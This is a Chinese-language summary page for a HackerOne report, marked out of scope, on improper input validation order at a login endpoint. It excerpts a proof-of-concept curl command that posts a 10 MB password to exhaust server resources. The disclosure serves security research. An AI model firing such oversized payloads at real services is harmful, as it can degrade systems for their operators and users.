Out of scope: Improper Input Validation Order on /api-internal/login via password field leads to unnecessary resource consumption
该报告还没有中文解读。
原文摘录
摘自原文（6698 字符中的一小部分）
Improper Input Validation Order (CWE-20) in Authentication Endpoint
原文中的代码
curl -X POST https://<target-instance>/api-internal/login \
-H "Content-Type: application/json" \
--data-binary @<(python3 -c '
payload = "A" * (10 * 1024 * 1024)
print(f\'{{"username":"admin","password":"{payload}"}}\')
')默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 PortSwigger Web Security 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @bereza4321 · 版权归作者与 PortSwigger Web Security 所有